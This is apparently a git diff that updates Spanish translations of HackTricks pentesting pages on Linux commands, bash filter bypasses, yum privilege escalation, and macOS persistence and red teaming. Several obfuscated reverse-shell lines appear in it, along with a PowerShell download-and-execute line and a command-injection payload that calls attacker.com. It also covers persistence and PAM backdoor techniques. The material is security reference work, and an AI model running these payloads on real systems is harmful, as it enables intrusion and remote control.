comprimir (eso es lo que indica la existencia de `@root.txt`) y cuando 7z lea `root.txt`, leerá `/file/you/want/to/read` y **como el contenido de este archivo no es una lista de archivos, lanzará un error** mostrando el contenido. _Más información en los Write-ups de la caja CTF de HackTheBox._ diff --git a/src/linux-hardening/useful-linux-commands.md b/src/linux-hardening/useful-linux-commands.md index 2ee9f1b39..833f53f12 100644 --- a/src/linux-hardening/useful-linux-commands.md +++ b/src/linux-hardening/useful-linux-commands.md @@ -1,17 +1,8 @@ -# Useful Linux Commands - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +# Comandos útiles de Linux {{#include ../banners/hacktricks-training.md}} -## Common Bash - +## Bash común ```bash #Exfiltration using Base64 base64 -w 0 file @@ -130,17 +121,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Bash for Windows - +## Bash para Windows ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 @@ -160,9 +141,7 @@ python pyinstaller.py --onefile exploit.py #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` - ## Greps - ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -242,9 +221,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` - -## Find - +## Encontrar ```bash # Find SUID set files. find / -perm /u=s -ls 2>/dev/null @@ -273,25 +250,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p # Found Newer directory only and sort by time. (depth = 5) find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less ``` - -## Nmap search help - +## Ayuda de búsqueda de Nmap ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` - ## Bash - ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` - ## Iptables - ```bash #Delete curent rules and chains iptables --flush @@ -322,13 +293,4 @@ iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` - {{#include ../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 10a9dee83..d7d4317d3 100644 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -4,7 +4,7 @@ ## Bypasses de Limitaciones Comunes -### Shell Inversa +### Reverse Shell ```bash # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' @@ -203,7 +203,7 @@ if [ "a" ]; then echo 1; fi # Will print hello! 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ ``` -### Eludir expresiones regulares potenciales +### Bypass potenciales regexes ```bash # A regex that only allow letters and numbers might be vulnerable to new line characters 1%0a`curl http://attacker.com` diff --git a/src/linux-unix/privilege-escalation/exploiting-yum.md b/src/linux-unix/privilege-escalation/exploiting-yum.md index 7542dab59..72d812c7b 100644 --- a/src/linux-unix/privilege-escalation/exploiting-yum.md +++ b/src/linux-unix/privilege-escalation/exploiting-yum.md @@ -6,7 +6,7 @@ Más ejemplos sobre yum también se pueden encontrar en [gtfobins](https://gtfob ## Comprobando el entorno -Para aprovechar este vector, el usuario debe poder ejecutar comandos yum como un usuario con mayores privilegios, es decir, root. +Para aprovechar este vector, el usuario debe poder ejecutar comandos yum como un usuario con mayor privilegio, es decir, root. ### Un ejemplo funcional de este vector @@ -14,9 +14,9 @@ Un ejemplo funcional de este exploit se puede encontrar en la sala [daily bugle] ## Empaquetando un RPM -En la siguiente sección, cubriré el empaquetado de un shell reverso en un RPM utilizando [fpm](https://github.com/jordansissel/fpm). +En la siguiente sección, cubriré cómo empaquetar un shell reverso en un RPM usando [fpm](https://github.com/jordansissel/fpm). -El ejemplo a continuación crea un paquete que incluye un disparador antes de la instalación con un script arbitrario que puede ser definido por el atacante. Cuando se instala, este paquete ejecutará el comando arbitrario. He utilizado un simple ejemplo de shell reverso de netcat para la demostración, pero esto se puede cambiar según sea necesario. +El ejemplo a continuación crea un paquete que incluye un disparador antes de la instalación con un script arbitrario que puede ser definido por el atacante. Cuando se instala, este paquete ejecutará el comando arbitrario. He utilizado un simple ejemplo de shell reverso con netcat para la demostración, pero esto se puede cambiar según sea necesario. ```text ``` diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index 64ba8b54d..6935b3e07 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -30,7 +30,7 @@ Verifica el contenido de: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -Ahí encontrarás qué grupos tienen permiso para ejecutar **pkexec** y **por defecto** en algunas distribuciones de Linux pueden **aparecer** algunos de los grupos **sudo o admin**. +Ahí encontrarás qué grupos tienen permiso para ejecutar **pkexec** y **por defecto** en algunos linux pueden **aparecer** algunos de los grupos **sudo o admin**. Para **convertirte en root puedes ejecutar**: ```bash @@ -111,7 +111,7 @@ Para **abrir** la **imagen en bruto** puedes usar **GIMP**, seleccionar el archi ![](../../images/image%20%28208%29.png) -Luego modifica el Ancho y Alto a los que se usaron en la pantalla y verifica diferentes Tipos de Imagen \(y selecciona el que muestre mejor la pantalla\): +Luego modifica el Ancho y la Altura a los que se usaron en la pantalla y verifica diferentes Tipos de Imagen \(y selecciona el que muestre mejor la pantalla\): ![](../../images/image%20%28295%29.png) diff --git a/src/macos-hardening/macos-auto-start-locations.md b/src/macos-hardening/macos-auto-start-locations.md index 727387dfb..c628be548 100644 --- a/src/macos-hardening/macos-auto-start-locations.md +++ b/src/macos-hardening/macos-auto-start-locations.md @@ -85,7 +85,7 @@ Lista todos los agentes y daemons cargados por el usuario actual: launchctl list ``` > [!WARNING] -> Si un plist es propiedad de un usuario, incluso si está en carpetas de sistema de demonios, **la tarea se ejecutará como el usuario** y no como root. Esto puede prevenir algunos ataques de escalada de privilegios. +> Si un plist es propiedad de un usuario, incluso si está en carpetas de sistema de demonios, la **tarea se ejecutará como el usuario** y no como root. Esto puede prevenir algunos ataques de escalada de privilegios. #### Más información sobre launchd @@ -150,7 +150,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc ### Aplicaciones Reabiertas > [!CAUTION] -> Configurar la explotación indicada y cerrar sesión e iniciar sesión o incluso reiniciar no funcionó para mí para ejecutar la aplicación. (La aplicación no se estaba ejecutando, tal vez necesita estar en ejecución cuando se realizan estas acciones) +> Configurar la explotación indicada y cerrar sesión e iniciar sesión o incluso reiniciar no funcionó para mí para ejecutar la aplicación. (La aplicación no se estaba ejecutando, tal vez necesita estar en funcionamiento cuando se realizan estas acciones) **Escritura**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/) @@ -223,7 +223,7 @@ Esta configuración se refleja en el archivo **`~/Library/Preferences/com.apple. ``` Entonces, si el plist de las preferencias del terminal en el sistema pudiera ser sobrescrito, la funcionalidad **`open`** se puede usar para **abrir el terminal y ese comando se ejecutará**. -Puedes agregar esto desde la cli con: +Puedes agregar esto desde la línea de comandos con: ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist @@ -275,10 +275,10 @@ open /tmp/test.terminal # Use something like the following for a reverse shell: echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash; ``` -Podrías también usar las extensiones **`.command`**, **`.tool`**, con contenido de scripts de shell regulares y también serán abiertos por Terminal. +Podrías también usar las extensiones **`.command`**, **`.tool**, con contenido de scripts de shell regulares y también serán abiertos por Terminal. > [!CAUTION] -> Si el terminal tiene **Acceso Completo al Disco** podrá completar esa acción (ten en cuenta que el comando ejecutado será visible en una ventana de terminal). +> Si el terminal tiene **Acceso Completo al Disco**, podrá completar esa acción (ten en cuenta que el comando ejecutado será visible en una ventana de terminal). ### Plugins de Audio @@ -286,7 +286,7 @@ Escritura: [https://theevilbit.github.io/beyond/beyond_0013/](https://theevilbit Escritura: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) - Útil para eludir el sandbox: [✅](https://emojipedia.org/check-mark-button) -- Elusión de TCC: [🟠](https://emojipedia.org/large-orange-circle) +- Bypass de TCC: [🟠](https://emojipedia.org/large-orange-circle) - Podrías obtener acceso adicional a TCC #### Ubicación @@ -312,7 +312,7 @@ Según las escrituras anteriores, es posible **compilar algunos plugins de audio Escritura: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/) - Útil para eludir el sandbox: [✅](https://emojipedia.org/check-mark-button) -- Elusión de TCC: [🟠](https://emojipedia.org/large-orange-circle) +- Bypass de TCC: [🟠](https://emojipedia.org/large-orange-circle) - Podrías obtener acceso adicional a TCC #### Ubicación @@ -332,12 +332,12 @@ Es posible compilar tu propio plugin de QuickLook, colocarlo en una de las ubica ### ~~Hooks de Inicio/Cierre de Sesión~~ > [!CAUTION] -> Esto no funcionó para mí, ni con el LoginHook del usuario ni con el LogoutHook de root +> Esto no funcionó para mí, ni con el LoginHook de usuario ni con el LogoutHook de root **Escritura**: [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/) - Útil para eludir el sandbox: [✅](https://emojipedia.org/check-mark-button) -- Elusión de TCC: [🔴](https://emojipedia.org/large-red-circle) +- Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle) #### Ubicación @@ -376,7 +376,7 @@ El usuario root se almacena en **`/private/var/root/Library/Preferences/com.appl ## Bypass de Sandbox Condicional > [!TIP] -> Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox** que te permiten simplemente ejecutar algo **escribiéndolo en un archivo** y **esperando condiciones no muy comunes** como programas **específicos instalados, acciones de usuario "poco comunes"** o entornos. +> Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox** que te permiten simplemente ejecutar algo **escribiéndolo en un archivo** y **esperando condiciones no tan comunes** como programas específicos **instalados, acciones de usuario "poco comunes"** o entornos. ### Cron @@ -548,7 +548,7 @@ EOF - Bypass de TCC: [✅](https://emojipedia.org/check-mark-button) - Solicita permisos de Automatización-Creación de accesos directos y Accesibilidad -#### Location +#### Ubicación - `~/Library/Application Support/BetterTouchTool/*` @@ -561,7 +561,7 @@ Esta herramienta permite indicar aplicaciones o scripts a ejecutar cuando se pre - Bypass de TCC: [✅](https://emojipedia.org/check-mark-button) - Solicita permisos de Automatización, Accesibilidad e incluso acceso a Disco Completo -#### Location +#### Ubicación - `???` @@ -569,53 +569,53 @@ Permite crear flujos de trabajo que pueden ejecutar código cuando se cumplen ci ### SSHRC -Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.github.io/beyond/beyond_0006/) +Escritura: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.github.io/beyond/beyond_0006/) - Útil para eludir la sandbox: [✅](https://emojipedia.org/check-mark-button) - Pero ssh necesita estar habilitado y ser utilizado - Bypass de TCC: [✅](https://emojipedia.org/check-mark-button) - El uso de SSH requiere acceso FDA -#### Location +#### Ubicación - **`~/.ssh/rc`** -- **Trigger**: Inicio de sesión a través de ssh +- **Disparador**: Inicio de sesión a través de ssh - **`/etc/ssh/sshrc`** - Se requiere root -- **Trigger**: Inicio de sesión a través de ssh +- **Disparador**: Inicio de sesión a través de ssh > [!CAUTION] -> Para activar ssh se requiere Acceso Completo al Disco: +> Para activar ssh se requiere Acceso a Disco Completo: > > ```bash > sudo systemsetup -setremotelogin on > ``` -#### Description & Exploitation +#### Descripción y Explotación Por defecto, a menos que `PermitUserRC no` en `/etc/ssh/sshd_config`, cuando un usuario **inicia sesión a través de SSH** los scripts **`/etc/ssh/sshrc`** y **`~/.ssh/rc`** se ejecutarán. -### **Login Items** +### **Elementos de Inicio de Sesión** -Writeup: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.github.io/beyond/beyond_0003/) +Escritura: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.github.io/beyond/beyond_0003/) - Útil para eludir la sandbox: [✅](https://emojipedia.org/check-mark-button) - Pero necesitas ejecutar `osascript` con argumentos - Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Locations +#### Ubicaciones - **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** -- **Trigger:** Inicio de sesión +- **Disparador:** Inicio de sesión - Carga útil de explotación almacenada llamando a **`osascript`** - **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** -- **Trigger:** Inicio de sesión +- **Disparador:** Inicio de sesión - Se requiere root -#### Description +#### Descripción -En Preferencias del Sistema -> Usuarios y Grupos -> **Elementos de inicio de sesión** puedes encontrar **elementos que se ejecutarán cuando el usuario inicie sesión**.\ -Es posible listarlos, agregar y eliminar desde la línea de comandos: +En Preferencias del Sistema -> Usuarios y Grupos -> **Elementos de Inicio de Sesión** puedes encontrar **elementos que se ejecutarán cuando el usuario inicie sesión**.\ +Es posible listarlos, agregarlos y eliminarlos desde la línea de comandos: ```bash #List all items: osascript -e 'tell application "System Events" to get the name of every login item' @@ -739,7 +739,7 @@ Escritura: [https://posts.specterops.io/folder-actions-for-persistence-on-macos- #### Descripción y Explotación -Las Acciones de Carpeta son scripts que se activan automáticamente por cambios en una carpeta, como agregar o eliminar elementos, o otras acciones como abrir o redimensionar la ventana de la carpeta. Estas acciones pueden ser utilizadas para diversas tareas y pueden ser activadas de diferentes maneras, como usando la interfaz de Finder o comandos de terminal. +Las Acciones de Carpeta son scripts que se activan automáticamente por cambios en una carpeta, como agregar o eliminar elementos, o otras acciones como abrir o redimensionar la ventana de la carpeta. Estas acciones se pueden utilizar para diversas tareas y se pueden activar de diferentes maneras, como usando la interfaz de Finder o comandos de terminal. Para configurar las Acciones de Carpeta, tienes opciones como: @@ -748,7 +748,7 @@ Para configurar las Acciones de Carpeta, tienes opciones como: 3. Utilizar OSAScript para enviar mensajes de Apple Event a `System Events.app` para configurar programáticamente una Acción de Carpeta. - Este método es particularmente útil para incrustar la acción en el sistema, ofreciendo un nivel de persistencia. -El siguiente script es un ejemplo de lo que puede ser ejecutado por una Acción de Carpeta: +El siguiente script es un ejemplo de lo que se puede ejecutar mediante una Acción de Carpeta: ```applescript // source.js var app = Application.currentApplication(); @@ -973,7 +973,7 @@ Escritura: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https:/ #### Descripción y Explotación -Crea un nuevo proyecto en Xcode y selecciona la plantilla para generar un nuevo **Protector de Pantalla**. Luego, agrega tu código a él, por ejemplo, el siguiente código para generar registros. +Crea un nuevo proyecto en Xcode y selecciona la plantilla para generar un nuevo **Protector de Pantalla**. Luego, agrega tu código, por ejemplo, el siguiente código para generar registros. **Compílalo**, y copia el paquete `.saver` a **`~/Library/Screen Savers`**. Luego, abre la GUI del Protector de Pantalla y si simplemente haces clic en él, debería generar muchos registros: ```bash @@ -1057,10 +1057,10 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.github.io/beyond/beyond_0011/) -- Útil para eludir el sandbox: [🟠](https://emojipedia.org/large-orange-circle) -- Pero terminarás en un sandbox de aplicación +- Útil para eludir la sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Pero terminarás en una sandbox de aplicación - Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle) -- El sandbox parece muy limitado +- La sandbox parece muy limitada #### Location @@ -1074,14 +1074,14 @@ writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.g - Se requiere root - `Some.app/Contents/Library/Spotlight/` - **Trigger**: Se crea un nuevo archivo con una extensión gestionada por el plugin de spotlight. -- Se requiere una nueva aplicación +- Se requiere nueva app #### Description & Exploitation Spotlight es la función de búsqueda integrada de macOS, diseñada para proporcionar a los usuarios **acceso rápido y completo a los datos en sus computadoras**.\ Para facilitar esta capacidad de búsqueda rápida, Spotlight mantiene una **base de datos propietaria** y crea un índice mediante **el análisis de la mayoría de los archivos**, lo que permite búsquedas rápidas a través de nombres de archivos y su contenido. -El mecanismo subyacente de Spotlight implica un proceso central llamado 'mds', que significa **'servidor de metadatos'.** Este proceso orquesta todo el servicio de Spotlight. Complementando esto, hay múltiples demonios 'mdworker' que realizan una variedad de tareas de mantenimiento, como indexar diferentes tipos de archivos (`ps -ef | grep mdworker`). Estas tareas son posibles gracias a los plugins importadores de Spotlight, o **".mdimporter bundles**", que permiten a Spotlight entender e indexar contenido en una amplia gama de formatos de archivo. +El mecanismo subyacente de Spotlight implica un proceso central llamado 'mds', que significa **'servidor de metadatos'.** Este proceso orquesta todo el servicio de Spotlight. Complementando esto, hay múltiples demonios 'mdworker' que realizan una variedad de tareas de mantenimiento, como indexar diferentes tipos de archivos (`ps -ef | grep mdworker`). Estas tareas son posibles gracias a los plugins importadores de Spotlight, o **".mdimporter bundles**", que permiten a Spotlight entender e indexar contenido a través de una amplia gama de formatos de archivo. Los plugins o **`.mdimporter`** bundles se encuentran en los lugares mencionados anteriormente y si aparece un nuevo bundle, se carga en un minuto (no es necesario reiniciar ningún servicio). Estos bundles deben indicar qué **tipo de archivo y extensiones pueden gestionar**, de esta manera, Spotlight los utilizará cuando se cree un nuevo archivo con la extensión indicada. @@ -1131,7 +1131,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist [...] ``` > [!CAUTION] -> Si revisas el Plist de otros `mdimporter`, es posible que no encuentres la entrada **`UTTypeConformsTo`**. Eso se debe a que es un _Identificador de Tipo Uniforme_ incorporado ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) y no necesita especificar extensiones. +> Si revisas el Plist de otros `mdimporter`, es posible que no encuentres la entrada **`UTTypeConformsTo`**. Eso es porque es un _Identificador de Tipo Uniforme_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) incorporado y no necesita especificar extensiones. > > Además, los plugins predeterminados del sistema siempre tienen prioridad, por lo que un atacante solo puede acceder a archivos que no están indexados por los propios `mdimporters` de Apple. @@ -1239,7 +1239,7 @@ Escritura: [https://theevilbit.github.io/beyond/beyond_0005/](https://theevilbit #### Ubicación -- Root siempre requerido +- Se requiere root siempre #### Descripción y Explotación @@ -1269,7 +1269,7 @@ Y por lo tanto, cualquier intento de usar **`sudo` funcionará**. > [!CAUTION] > Tenga en cuenta que este directorio está protegido por TCC, por lo que es muy probable que el usuario reciba un aviso pidiendo acceso. -Otro buen ejemplo es su, donde se puede ver que también es posible dar parámetros a los módulos PAM (y también podría poner una puerta trasera en este archivo): +Otro buen ejemplo es su, donde puedes ver que también es posible dar parámetros a los módulos PAM (y también podrías poner una puerta trasera en este archivo): ```bash cat /etc/pam.d/su # su: auth account session @@ -1341,13 +1341,13 @@ Actívelo con: ```bash security authorize com.asdf.asdf ``` -Y luego el **grupo de personal debería tener** acceso sudo (lee `/etc/sudoers` para confirmar). +Y luego el **grupo de personal debe tener** acceso sudo (lee `/etc/sudoers` para confirmar). ### Man.conf Escritura: [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.github.io/beyond/beyond_0030/) -- Útil para eludir el sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Útil para eludir sandbox: [🟠](https://emojipedia.org/large-orange-circle) - Pero necesitas ser root y el usuario debe usar man - Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle) @@ -1386,7 +1386,7 @@ touch /tmp/manconf - **`/etc/apache2/httpd.conf`** - Se requiere root -- Activación: Cuando Apache2 se inicia +- Activador: Cuando Apache2 se inicia #### Descripción y Explotación @@ -1394,7 +1394,7 @@ Puedes indicar en `/etc/apache2/httpd.conf` que cargue un módulo añadiendo una ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` -De esta manera, tu módulo compilado será cargado por Apache. La única cosa es que necesitas **firmarlo con un certificado de Apple válido**, o necesitas **agregar un nuevo certificado de confianza** en el sistema y **firmarlo** con él. +De esta manera, tu módulo compilado será cargado por Apache. Lo único es que necesitas **firmarlo con un certificado de Apple válido**, o necesitas **agregar un nuevo certificado de confianza** en el sistema y **firmarlo** con él. Luego, si es necesario, para asegurarte de que el servidor se inicie, podrías ejecutar: ```bash @@ -1424,7 +1424,7 @@ Escritura: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit - **`/etc/security/audit_warn`** - Se requiere root -- **Activador**: Cuando auditd detecta una advertencia +- **Disparador**: Cuando auditd detecta una advertencia #### Descripción y Explotación @@ -1441,7 +1441,7 @@ Podrías forzar una advertencia con `sudo audit -n`. El **StartupItem** es un directorio que debe estar ubicado dentro de `/Library/StartupItems/` o `/System/Library/StartupItems/`. Una vez que se establece este directorio, debe contener dos archivos específicos: 1. Un **script rc**: Un script de shell ejecutado al inicio. -2. Un **archivo plist**, específicamente llamado `StartupParameters.plist`, que contiene varias configuraciones. +2. Un **archivo plist**, específicamente nombrado `StartupParameters.plist`, que contiene varias configuraciones. Asegúrate de que tanto el script rc como el archivo `StartupParameters.plist` estén correctamente ubicados dentro del directorio **StartupItem** para que el proceso de inicio los reconozca y los utilice. @@ -1517,7 +1517,7 @@ XQuartz **ya no está instalado en macOS**, así que si quieres más informació ### ~~kext~~ > [!CAUTION] -> Es tan complicado instalar kext incluso como root que no consideraré esto para escapar de sandboxes o incluso para persistencia (a menos que tengas un exploit) +> Es tan complicado instalar kext incluso como root que no lo consideraré para escapar de sandboxes o incluso para persistencia (a menos que tengas un exploit) #### Ubicación diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index 346677bef..f8c7f5219 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -22,9 +22,9 @@ Un MDM tendrá permiso para instalar, consultar o eliminar perfiles, instalar ap Para ejecutar tu propio MDM necesitas **que tu CSR sea firmado por un proveedor** que podrías intentar obtener con [**https://mdmcert.download/**](https://mdmcert.download/). Y para ejecutar tu propio MDM para dispositivos Apple podrías usar [**MicroMDM**](https://github.com/micromdm/micromdm). -Sin embargo, para instalar una aplicación en un dispositivo inscrito, aún necesitas que esté firmada por una cuenta de desarrollador... sin embargo, al inscribir el MDM, el **dispositivo agrega el certificado SSL del MDM como una CA de confianza**, por lo que ahora puedes firmar cualquier cosa. +Sin embargo, para instalar una aplicación en un dispositivo inscrito, aún necesitas que esté firmada por una cuenta de desarrollador... sin embargo, al inscribir el dispositivo en un MDM, el **dispositivo agrega el certificado SSL del MDM como una CA de confianza**, por lo que ahora puedes firmar cualquier cosa. -Para inscribir el dispositivo en un MDM, necesitas instalar un **`mobileconfig`** como root, que podría ser entregado a través de un **pkg** (podrías comprimirlo en zip y cuando se descargue desde Safari se descomprimirá). +Para inscribir el dispositivo en un MDM, necesitas instalar un **`mobileconfig`** como root, que podría ser entregado a través de un archivo **pkg** (podrías comprimirlo en zip y cuando se descargue desde Safari se descomprimirá). **Mythic agent Orthrus** utiliza esta técnica. @@ -77,9 +77,9 @@ sudo jamf policy -id 0 Para **suplantar la comunicación** entre un dispositivo y JMF necesitas: - El **UUID** del dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` -- La **llave de cadena de JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain` que contiene el certificado del dispositivo +- El **llavero de JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain` que contiene el certificado del dispositivo -Con esta información, **crea una VM** con el **UUID** de Hardware **robado** y con **SIP deshabilitado**, coloca la **llave de cadena de JAMF,** **intercepta** el **agente** de Jamf y roba su información. +Con esta información, **crea una VM** con el **UUID** de Hardware **robado** y con **SIP deshabilitado**, coloca el **llavero de JAMF,** **intercepta** el **agente** de Jamf y roba su información. #### Robo de secretos @@ -93,7 +93,7 @@ El script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-To ### Acceso Remoto a macOS -Y también sobre los **protocolos** **de red** "especiales" de **MacOS**: +Y también sobre los **protocolos** **"especiales"** de **red** de **MacOS**: {{#ref}} ../macos-security-and-privilege-escalation/macos-protocols.md @@ -168,7 +168,7 @@ dsconfigad -show ``` Más información en [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) -### Computer$ password +### Contraseña de Computer$ Obtén contraseñas usando: ```bash @@ -209,7 +209,7 @@ macos-keychain.md ## Servicios Externos -El Red Teaming en MacOS es diferente del Red Teaming regular en Windows, ya que generalmente **MacOS está integrado con varias plataformas externas directamente**. Una configuración común de MacOS es acceder a la computadora utilizando **credenciales sincronizadas de OneLogin y accediendo a varios servicios externos** (como github, aws...) a través de OneLogin. +El Red Teaming en MacOS es diferente del Red Teaming regular en Windows, ya que generalmente **MacOS está integrado con varias plataformas externas directamente**. Una configuración común de MacOS es acceder a la computadora usando **credenciales sincronizadas de OneLogin y acceder a varios servicios externos** (como github, aws...) a través de OneLogin. ## Técnicas Misceláneas de Red Team diff --git a/src/macos-hardening/macos-red-teaming/macos-keychain.md b/src/macos-hardening/macos-red-teaming/macos-keychain.md index 12500c482..88a2658f1 100644 --- a/src/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/src/macos-hardening/macos-red-teaming/macos-keychain.md @@ -33,7 +33,7 @@ Las ACLs están acompañadas por una **lista de aplicaciones de confianza** que Además, la entrada podría contener la clave **`ACLAuthorizationPartitionID`,** que se utiliza para identificar el **teamid, apple,** y **cdhash.** - Si se especifica el **teamid**, entonces para **acceder al valor de la entrada** **sin** un **prompt**, la aplicación utilizada debe tener el **mismo teamid**. -- Si se especifica el **apple**, entonces la aplicación necesita estar **firmada** por **Apple**. +- Si se especifica el **apple**, entonces la aplicación debe estar **firmada** por **Apple**. - Si se indica el **cdhash**, entonces la **app** debe tener el **cdhash** específico. ### Creating a Keychain Entry @@ -80,7 +80,7 @@ security dump-keychain ~/Library/Keychains/login.keychain-db > > Otros puntos finales de API se pueden encontrar en el código fuente de [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html). -Lista y obtén **info** sobre cada entrada del keychain usando el **Security Framework** o también podrías revisar la herramienta de línea de comandos de código abierto de Apple [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Algunos ejemplos de API: +Enumera y obtén **info** sobre cada entrada del keychain usando el **Security Framework** o también puedes verificar la herramienta de línea de comandos de código abierto de Apple [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Algunos ejemplos de API: - La API **`SecItemCopyMatching`** proporciona información sobre cada entrada y hay algunos atributos que puedes establecer al usarla: - **`kSecReturnData`**: Si es verdadero, intentará descifrar los datos (configúralo en falso para evitar posibles ventanas emergentes) diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index 88a3b3b0b..4a82f8c15 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ 